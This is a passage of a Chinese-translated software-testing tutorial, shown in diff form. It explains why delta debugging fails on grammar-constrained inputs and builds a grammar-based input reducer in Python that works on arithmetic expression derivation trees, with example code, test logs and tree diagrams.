+但是，从上面的测试来看，实际上只有很少几个表示语法上有效的算术表达式。 在实际设置中，我们可能想测试一个程序，该程序实际上*解析*这样的表达式，并且该程序将*拒绝*所有无效输入。 我们定义了一个类`EvalMysteryRunner`，该类首先*解析*给定的输入（根据我们的表达语法规则），并且只有*如果合适，它将*传递给我们的原始`MysteryRunner` ]。 这将模拟一个设置，在该设置中我们测试一个表达式解释器，并且其中只有有效的输入才可以触发该错误。
+
+```py
+from [Grammars](Grammars.html) import EXPR_GRAMMAR
+
+```
+
+```py
+from [Parser](Parser.html) import EarleyParser  # minor dependency
+
+```
+
+```py
+class EvalMysteryRunner(MysteryRunner):
+    def __init__(self):
+        self.parser = EarleyParser(EXPR_GRAMMAR)
+
+    def run(self, inp):
+        try:
+            tree, *_ = self.parser.parse(inp)
+        except SyntaxError as exc:
+            return (inp, Runner.UNRESOLVED)
+
+        return super().run(inp)
+
+```
+
+```py
+eval_mystery = EvalMysteryRunner()
+
+```
+
+在这种情况下，事实证明增量调试完全失败。 它所应用的任何缩减都不会产生语法上有效的输入，因此，整个输入仍然像以前一样复杂。
+
+```py
+dd_reducer = DeltaDebuggingReducer(eval_mystery, log_test=True)
+dd_reducer.reduce(expr_input)
+
+```
+
+```py
+Test #1 '1 + (2 * 3)' 11 FAIL
+Test #2 '2 * 3)' 6 UNRESOLVED
+Test #3 '1 + (' 5 UNRESOLVED
+Test #4 '+ (2 * 3)' 9 UNRESOLVED
+Test #5 '1 2 * 3)' 8 UNRESOLVED
+Test #6 '1 + ( 3)' 8 UNRESOLVED
+Test #7 '1 + (2 *' 8 UNRESOLVED
+Test #8 ' + (2 * 3)' 10 UNRESOLVED
+Test #9 '1+ (2 * 3)' 10 UNRESOLVED
+Test #10 '1 (2 * 3)' 9 UNRESOLVED
+Test #11 '1 + 2 * 3)' 10 UNRESOLVED
+Test #12 '1 + ( * 3)' 10 UNRESOLVED
+Test #13 '1 + (2 3)' 9 UNRESOLVED
+Test #14 '1 + (2 *3)' 10 UNRESOLVED
+Test #15 '1 + (2 * ' 9 UNRESOLVED
+Test #16 '1  (2 * 3)' 10 UNRESOLVED
+Test #17 '1 +(2 * 3)' 10 UNRESOLVED
+Test #18 '1 + (2* 3)' 10 UNRESOLVED
+Test #19 '1 + (2  3)' 10 UNRESOLVED
+Test #20 '1 + (2 * )' 10 UNRESOLVED
+Test #21 '1 + (2 * 3' 10 UNRESOLVED
+
+```
+
+```py
+'1 + (2 * 3)'
+
+```
+
+如果被测程序对输入有效性有多个约束，则可能会出现这种情况。 Delta调试不了解这些约束（通常也不了解输入结构），因此它可能一次又一次违反这些约束。
+
+### 基于语法的归约方法
+
+为了减少具有高语法复杂性的输入，我们使用了另一种方法：我们减少了表示其结构的*树*而不是减少输入字符串。 总体思路是从解析输入的*派生树*开始，然后*用相同类型*的较小子树替换子树。 这些备用子树可以
+
+1.  从树本身，或者
+2.  通过使用树中的元素应用替代的语法扩展。
+
+让我们通过一个示例展示这两种策略。 我们从算术表达式的派生树开始：
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import all_terminals, expansion_to_children, display_tree
+
+```
+
+```py
+derivation_tree, *_ = EarleyParser(EXPR_GRAMMAR).parse(expr_input)
+display_tree(derivation_tree)
+
+```
+
+<svg height="584pt" viewBox="0.00 0.00 203.00 584.00" width="203pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 580)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-564.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-513.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-462.8"><term></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-462.8">+</text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-462.8"><expr></text></g> <g class="edge" id="edge8"><title>1->8</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-411.8"><factor></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-360.8"><integer></text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-309.8"><digit></text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-258.8">1</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-411.8"><term></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-360.8"><factor></text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="79.5" y="-309.8">(</text></g> <g class="edge" id="edge11"><title>10->11</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-309.8"><expr></text></g> <g class="edge" id="edge12"><title>10->12</title></g> <g class="node" id="node25"><title>24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="161.5" y="-309.8">)</text></g> <g class="edge" id="edge24"><title>10->24</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-258.8"><term></text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-207.8"><factor></text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-207.8">*</text></g> <g class="edge" id="edge18"><title>13->18</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-207.8"><term></text></g> <g class="edge" id="edge19"><title>13->19</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-156.8"><integer></text></g> <g class="edge" id="edge15"><title>14->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-105.8"><digit></text></g> <g class="edge" id="edge16"><title>15->16</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-54.8">2</text></g> <g class="edge" id="edge17"><title>16->17</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-156.8"><factor></text></g> <g class="edge" id="edge20"><title>19->20</title></g> <g class="node" id="node22"><title>21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-105.8"><integer></text></g> <g class="edge" id="edge21"><title>20->21</title></g> <g class="node" id="node23"><title>22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-54.8"><digit></text></g> <g class="edge" id="edge22"><title>21->22</title></g> <g class="node" id="node24"><title>23</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-3.8">3</text></g> <g class="edge" id="edge23"><title>22->23</title></g></g></svg>
+
+### 通过替换子树来简化
+
+为了简化此树，我们可以用树中的某些`<expr>`子树替换树中的任何`<expr>`符号。 例如，我们可以用最右边的`<expr>`子树替换最上面的`<expr>`，得到字符串`(2 + 3)`：
+
+```py
+import [copy](https://docs.python.org/3/library/copy.html)
+
+```
+
+```py
+new_derivation_tree = copy.deepcopy(derivation_tree)
+# We really should have some query language
+sub_expr_tree = new_derivation_tree[1][0][1][2]
+display_tree(sub_expr_tree)
+
+```
+
+<svg height="482pt" viewBox="0.00 0.00 160.00 482.00" width="160pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 478)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-462.8"><expr></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-411.8"><term></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-360.8"><factor></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="36.5" y="-309.8">(</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-309.8"><expr></text></g> <g class="edge" id="edge4"><title>2->4</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="118.5" y="-309.8">)</text></g> <g class="edge" id="edge16"><title>2->16</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-258.8"><term></text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-207.8"><factor></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-207.8">*</text></g> <g class="edge" id="edge10"><title>5->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-207.8"><term></text></g> <g class="edge" id="edge11"><title>5->11</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><integer></text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8"><digit></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-54.8">2</text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-156.8"><factor></text></g> <g class="edge" id="edge12"><title>11->12</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-105.8"><integer></text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-54.8"><digit></text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-3.8">3</text></g> <g class="edge" id="edge15"><title>14->15</title></g></g></svg>
+
+```py
+new_derivation_tree[1][0] = sub_expr_tree
+display_tree(new_derivation_tree)
+
+```
+
+<svg height="533pt" viewBox="0.00 0.00 160.00 533.00" width="160pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 529)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-513.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-462.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-411.8"><term></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-360.8"><factor></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="36.5" y="-309.8">(</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-309.8"><expr></text></g> <g class="edge" id="edge5"><title>3->5</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="118.5" y="-309.8">)</text></g> <g class="edge" id="edge17"><title>3->17</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-258.8"><term></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-207.8"><factor></text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-207.8">*</text></g> <g class="edge" id="edge11"><title>6->11</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-207.8"><term></text></g> <g class="edge" id="edge12"><title>6->12</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><integer></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8"><digit></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-54.8">2</text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-156.8"><factor></text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-105.8"><integer></text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-54.8"><digit></text></g> <g class="edge" id="edge15"><title>14->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-3.8">3</text></g> <g class="edge" id="edge16"><title>15->16</title></g></g></svg>
+
+```py
+all_terminals(new_derivation_tree)
+
+```
+
+```py
+'(2 * 3)'
+
+```
+
+只要一个子树（例如`<expr>`）在我们的树中多次出现，就可以用另一个子树替换。 在上述简化的`new_derivation_tree`中，我们只能再替换一次`<expr>`树。
+
+### 通过替代扩展进行简化
+
+简化此树的第二种方法是应用*替代扩展*。 也就是说，对于一个符号，我们检查是否存在子项数量较少的替代扩展。 然后，用替代扩展替换符号，从树中填充所需的符号。
+
+例如，考虑上面的`new_derivation_tree`。 `<term>`的应用扩展为
+
+```py
+<term> ::= <term> * <factor> 
+```
+
+麻烦我们用替代扩展替换它：
+
+```py
+<term> ::= <factor>
+```
+
+```py
+term_tree = new_derivation_tree[1][0][1][0][1][0][1][1][1][0]
+display_tree(term_tree)
+
+```
+
+<svg height="278pt" viewBox="0.00 0.00 160.00 278.00" width="160pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 274)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-258.8"><term></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-207.8"><factor></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="77.5" y="-207.8">*</text></g> <g class="edge" id="edge5"><title>0->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-207.8"><term></text></g> <g class="edge" id="edge6"><title>0->6</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><integer></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8"><digit></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-54.8">2</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-156.8"><factor></text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-105.8"><integer></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-54.8"><digit></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="124.5" y="-3.8">3</text></g> <g class="edge" id="edge10"><title>9->10</title></g></g></svg>
+
+```py
+shorter_term_tree = term_tree[1][2]
+display_tree(shorter_term_tree)
+
+```
+
+<svg height="227pt" viewBox="0.00 0.00 63.00 227.00" width="63pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 223)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-207.8"><term></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><factor></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8"><integer></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-54.8"><digit></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-3.8">3</text></g> <g class="edge" id="edge4"><title>3->4</title></g></g></svg>
+
+```py
+new_derivation_tree[1][0][1][0][1][0][1][1][1][0] = shorter_term_tree
+display_tree(new_derivation_tree)
+
+```
+
+<svg height="482pt" viewBox="0.00 0.00 95.00 482.00" width="95pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 478)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-462.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-411.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-360.8"><term></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-309.8"><factor></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="2.5" y="-258.8">(</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-258.8"><expr></text></g> <g class="edge" id="edge5"><title>3->5</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="84.5" y="-258.8">)</text></g> <g class="edge" id="edge11"><title>3->11</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-207.8"><term></text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-156.8"><factor></text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-105.8"><integer></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-54.8"><digit></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="43.5" y="-3.8">3</text></g> <g class="edge" id="edge10"><title>9->10</title></g></g></svg>
+
+```py
+all_terminals(new_derivation_tree)
+
+```
+
+```py
+'(3)'
+
+```
+
+如果用（较小的）子树替换派生子树，并且如果搜索可再次产生较小的子树的替代扩展，则可以系统地简化输入。 这可能比增量调试快得多，因为我们的输入在语法上始终是有效的。 但是，我们需要一种何时应用哪种简化规则的策略。 这是我们在本节其余部分中要开发的内容。
+
+### 用语法进行归约的一类
+
+我们介绍`GrammarReducer`类，它也是`Reducer`。 请注意，我们从`CachingReducer`派生，因为该策略将产生多个重复项。
+
+```py
+class GrammarReducer(CachingReducer):
+    def __init__(self, runner, parser, log_test=False, log_reduce=False):
+        super().__init__(runner, log_test=log_test)
+        self.parser = parser
+        self.grammar = parser.grammar()
+        self.start_symbol = parser.start_symbol()
+        self.log_reduce = log_reduce
+        self.try_all_combinations = False
+
+```
+
+### 少数帮助者
+
+我们定义了许多助手功能，这些对于我们的策略将是需要的。 `tree_list_to_string()`顾名思义，从派生树列表中创建一个字符串：
+
+```py
+def tree_list_to_string(q):
+    return "[" + ", ".join([all_terminals(tree) for tree in q]) + "]"
+
+```
+
+```py
+tree_list_to_string([derivation_tree, derivation_tree])
+
+```
+
+```py
+'[1 + (2 * 3), 1 + (2 * 3)]'
+
+```
+
+函数`possible_combinations()`获取列表$ [[x_1，x_2]，[y_1，y_2]，\ dots $$的列表，并创建组合列表$ [[x_1，y_1]，[x_1，y_2]，[x_2 ，y_1]，[x_2，y_2]，\ dots $。
+
+```py
+def possible_combinations(list_of_lists):
+    if len(list_of_lists) == 0:
+        return []
+
+    ret = []
+    for e in list_of_lists[0]:
+        if len(list_of_lists) == 1:
+            ret.append([e])
+        else:
+            for c in possible_combinations(list_of_lists[1:]):
+                new_combo = [e] + c
+                ret.append(new_combo)
+    return ret
+
+```
+
+```py
+possible_combinations([[1, 2], ['a', 'b']])
+
+```
+
+```py
+[[1, 'a'], [1, 'b'], [2, 'a'], [2, 'b']]
+
+```
+
+函数`number_of_nodes()`和`max_height()`分别返回给定树的节点数和最大高度。
+
+```py
+def number_of_nodes(tree):
+    (symbol, children) = tree
+    return 1 + sum([number_of_nodes(c) for c in children])
+
+```
+
+```py
+number_of_nodes(derivation_tree)
+
+```
+
+```py
+25
+
+```
+
+```py
+def max_height(tree):
+    (symbol, children) = tree
+    if len(children) == 0:
+        return 1
+    return 1 + max([max_height(c) for c in children])
+
+```
+
+```py
+max_height(derivation_tree)
+
+```
+
+```py
+12
+
+```
+
+### 简化策略
+
+现在让我们实现我们的两种简化策略-替换子树和备用扩展。
+
+#### 查找子树
+
+方法`subtrees_with_symbol()`返回给定树中其根等于给定符号的所有子树。 如果设置了`ignore_root`（默认值），则不与`tree`的根节点进行比较。 （`depth`参数将在下面讨论。）
+
+```py
+class GrammarReducer(GrammarReducer):
+    def subtrees_with_symbol(self, tree, symbol, depth=-1, ignore_root=True):
+        # Find all subtrees in TREE whose root is SYMBOL.
+        # If IGNORE_ROOT is true, ignore the root note of TREE.
+
+        ret = []
+        (child_symbol, children) = tree
+        if depth <= 0 and not ignore_root and child_symbol == symbol:
+            ret.append(tree)
+
+        # Search across all children
+        if depth != 0 and children is not None:
+            for c in children:
+                ret += self.subtrees_with_symbol(c,
+                                                 symbol,
+                                                 depth=depth - 1,
+                                                 ignore_root=False)
+
+        return ret
+
+```
+
+举个例子：这些都是我们的派生树`derivation_tree`中带有`<term>`的子树。
+
+```py
+grammar_reducer = GrammarReducer(
+    mystery,
+    EarleyParser(EXPR_GRAMMAR),
+    log_reduce=True)
+
+```
+
+```py
+all_terminals(derivation_tree)
+
+```
+
+```py
+'1 + (2 * 3)'
+
+```
+
+```py
+[all_terminals(t) for t in grammar_reducer.subtrees_with_symbol(
+    derivation_tree, "<term>")]
+
+```
+
+```py
+['1', '(2 * 3)', '2 * 3', '3']
+
+```
+
+如果我们要替换`<term>`子树以简化树，则可以使用这些子树来替换它们。
+
+#### 替代扩展
+
+我们的第二种策略是通过交替扩展来简化，但要复​​杂一些。 我们首先获取给定符号的可能扩展名（从子项最少的子类开始）。 对于每个扩展，我们为子树中的符号填充值（使用上面的`subtrees_with_symbols()`）。 然后，我们选择第一个可能的组合（如果设置了`try_all_combinations`属性，则选择*所有*组合）。
+
+```py
+class GrammarReducer(GrammarReducer):
+    def alternate_reductions(self, tree, symbol, depth=-1):
+        reductions = []
+
+        expansions = self.grammar.get(symbol, [])
+        expansions.sort(
+            key=lambda expansion: len(
+                expansion_to_children(expansion)))
+
+        for expansion in expansions:
+            expansion_children = expansion_to_children(expansion)
+
+            match = True
+            new_children_reductions = []
+            for (alt_symbol, _) in expansion_children:
+                child_reductions = self.subtrees_with_symbol(
+                    tree, alt_symbol, depth=depth)
+                if len(child_reductions) == 0:
+                    match = False   # Child not found; cannot apply rule
+                    break
+
+                new_children_reductions.append(child_reductions)
+
+            if not match:
+                continue  # Try next alternative
+
+            # Use the first suitable combination
+            for new_children in possible_combinations(new_children_reductions):
+                new_tree = (symbol, new_children)
+                if number_of_nodes(new_tree) < number_of_nodes(tree):
+                    reductions.append(new_tree)
+                    if not self.try_all_combinations:
+                        break
+
+        # Sort by number of nodes
+        reductions.sort(key=number_of_nodes)
+
+        return reductions
+
+```
+
+```py
+grammar_reducer = GrammarReducer(
+    mystery,
+    EarleyParser(EXPR_GRAMMAR),
+    log_reduce=True)
+
+```
+
+```py
+all_terminals(derivation_tree)
+
+```
+
+```py
+'1 + (2 * 3)'
+
+```
+
+这是`<term>`的所有*组合：*
+
+```py
+grammar_reducer.try_all_combinations = True
+print([all_terminals(t)
+       for t in grammar_reducer.alternate_reductions(derivation_tree, "<term>")])
+
+```
+
+```py
+['1', '2', '3', '1 * 1', '1 * 3', '2 * 1', '2 * 3', '3 * 1', '3 * 3', '(2 * 3)', '1 * 2 * 3', '2 * 2 * 3', '3 * 2 * 3', '1 * (2 * 3)', '(2 * 3) * 1', '(2 * 3) * 3', '2 * (2 * 3)', '3 * (2 * 3)']
+
+```
+
+但是，默认设置只是返回以下第一个：
+
+```py
+grammar_reducer.try_all_combinations = False
+[all_terminals(t) for t in grammar_reducer.alternate_reductions(
+    derivation_tree, "<term>")]
+
+```
+
+```py
+['1', '1 * 1']
+
+```
+
+#### 两种策略
+
+现在让我们合并这两种策略。 为了用给定的符号替换子树，我们首先搜索已经存在的子树（使用`subtrees_with_symbol()`）； 然后我们进行替代扩展（使用`alternate_expansions()`）。
+
+```py
+class GrammarReducer(GrammarReducer):
